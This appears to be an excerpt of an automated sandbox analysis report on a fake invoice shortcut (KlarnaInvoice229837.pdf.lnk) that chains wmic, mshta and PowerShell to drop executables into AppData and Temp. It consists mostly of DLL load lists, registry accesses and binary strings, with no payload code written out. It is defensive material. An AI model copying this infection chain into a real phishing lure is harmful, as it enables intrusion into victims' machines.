Source: C:\Windows\System32\mshta.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dataexchange.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dcomp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: imgutil.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d2d1.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dxcore.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: jscript9.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IMAKBWPY.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\IMAKBWPY.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\IMAKBWPY.exe	Section loaded: msi.dll
Source: C:\Users\user\AppData\Roaming\IMAKBWPY.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\IMAKBWPY.exe	Section loaded: cabinet.dll
Source: C:\Users\user\AppData\Roaming\IMAKBWPY.exe	Section loaded: msxml3.dll
Source: C:\Users\user\AppData\Roaming\IMAKBWPY.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\IMAKBWPY.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\IMAKBWPY.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Roaming\IMAKBWPY.exe	Section loaded: feclient.dll
Source: C:\Users\user\AppData\Roaming\IMAKBWPY.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Roaming\IMAKBWPY.exe	Section loaded: apphelp.dll
Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	Section loaded: msi.dll
Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	Section loaded: version.dll
Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	Section loaded: cabinet.dll
Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	Section loaded: msxml3.dll
Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	Section loaded: windows.storage.dll
Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	Section loaded: wldp.dll
Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	Section loaded: profapi.dll
Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	Section loaded: feclient.dll
Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	Section loaded: iertutil.dll
Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	Section loaded: uxtheme.dll
Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	Section loaded: textinputframework.dll
Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	Section loaded: coreuicomponents.dll
Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	Section loaded: coremessaging.dll
Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	Section loaded: ntmarta.dll
Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	Section loaded: wintypes.dll
Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	Section loaded: wintypes.dll
Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	Section loaded: wintypes.dll
Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	Section loaded: msvfw32.dll
Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	Section loaded: winmm.dll
Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	Section loaded: apphelp.dll
Source: C:\Windows\Temp\{1CDFC159-EBDA-4075-AC7E-1811F398BB10}\.ba\pyexec.exe	Section loaded: apphelp.dll
Source: C:\Windows\Temp\{1CDFC159-EBDA-4075-AC7E-1811F398BB10}\.ba\pyexec.exe	Section loaded: dbghelp.dll
Source: C:\Windows\Temp\{1CDFC159-EBDA-4075-AC7E-1811F398BB10}\.ba\pyexec.exe	Section loaded: pla.dll
Source: C:\Windows\Temp\{1CDFC159-EBDA-4075-AC7E-1811F398BB10}\.ba\pyexec.exe	Section loaded: pdh.dll
Source: C:\Windows\Temp\{1CDFC159-EBDA-4075-AC7E-1811F398BB10}\.ba\pyexec.exe	Section loaded: tdh.dll
Source: C:\Windows\Temp\{1CDFC159-EBDA-4075-AC7E-1811F398BB10}\.ba\pyexec.exe	Section loaded: cabinet.dll
Source: C:\Windows\Temp\{1CDFC159-EBDA-4075-AC7E-1811F398BB10}\.ba\pyexec.exe	Section loaded: wevtapi.dll
Source: C:\Windows\Temp\{1CDFC159-EBDA-4075-AC7E-1811F398BB10}\.ba\pyexec.exe	Section loaded: shdocvw.dll
Source: C:\Windows\Temp\{1CDFC159-EBDA-4075-AC7E-1811F398BB10}\.ba\pyexec.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Roaming\UltraChrome\pyexec.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Roaming\UltraChrome\pyexec.exe	Section loaded: dbghelp.dll
Source: C:\Users\user\AppData\Roaming\UltraChrome\pyexec.exe	Section loaded: pla.dll
Source: C:\Users\user\AppData\Roaming\UltraChrome\pyexec.exe	Section loaded: pdh.dll
Source: C:\Users\user\AppData\Roaming\UltraChrome\pyexec.exe	Section loaded: tdh.dll
Source: C:\Users\user\AppData\Roaming\UltraChrome\pyexec.exe	Section loaded: cabinet.dll
Source: C:\Users\user\AppData\Roaming\UltraChrome\pyexec.exe	Section loaded: wevtapi.dll
Source: C:\Users\user\AppData\Roaming\UltraChrome\pyexec.exe	Section loaded: shdocvw.dll
Source: C:\Users\user\AppData\Roaming\UltraChrome\pyexec.exe	Section loaded: winhttp.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: winbrand.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: shdocvw.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: winhttp.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: webio.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: mswsock.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: winnsi.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dnsapi.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: schannel.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: ntasn1.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: ncrypt.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dpapi.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: ondemandconnroutehelper.dll

Source: C:\Windows\System32\wbem\WMIC.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32

Jump to behavior

Source: KlarnaInvoice229837.pdf.lnk

LNK file: ..\..\..\..\..\..\Windows\System32\Wbem\wmic.exe

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Settings

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Windows\Temp\{1CDFC159-EBDA-4075-AC7E-1811F398BB10}\.ba\pyexec.exe

File opened: C:\Windows\Temp\{1CDFC159-EBDA-4075-AC7E-1811F398BB10}\.ba\msvcr90.dll

Source:	Binary string: C:\agent\_work\8\s\build\ship\x86\burn.pdb source: powershell.exe, 00000006.00000002.2073347152.000001EF10072000.00000004.00000800.00020000.00000000.sdmp, IMAKBWPY.exe, 00000010.00000000.1937547411.00000000009EB000.00000002.00000001.01000000.0000000F.sdmp, IMAKBWPY.exe, 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmp, IMAKBWPY.exe, 00000011.00000002.2180693815.000000000027B000.00000002.00000001.01000000.00000011.sdmp, IMAKBWPY.exe, 00000011.00000000.1942070181.000000000027B000.00000002.00000001.01000000.00000011.sdmp, IMAKBWPY.exe.16.dr
Source:	Binary string: explorer.pdbUGP source: explorer.exe, 00000016.00000003.2529304928.0000000005595000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: msvcr90.i386.pdb source: msvcr90.dll.18.dr
Source:	Binary string: mfdvdec.pdbUGP source: cmd.exe, 00000014.00000002.2528588524.00000000030C0000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.2571463926.0000000000366000.00000008.00000001.01000000.00000000.sdmp
Source:	Binary string: sethc.pdbGCTL source: mshta.exe, 00000004.00000003.2219075197.000001D04CEAB000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2219241314.000001D04CEAC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2221900308.000001D04CD61000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2219075197.000001D04CE70000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2218300920.000001D04CEC4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2219486828.000001D04CE72000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.2247275165.000001D04CD81000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2219737128.000001D048DB4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2220749210.000001D04CE07000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2221325270.000001D048DAA000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2221436947.000001D04CDC5000.00000004.00000020.00020000.00000000.sdmp
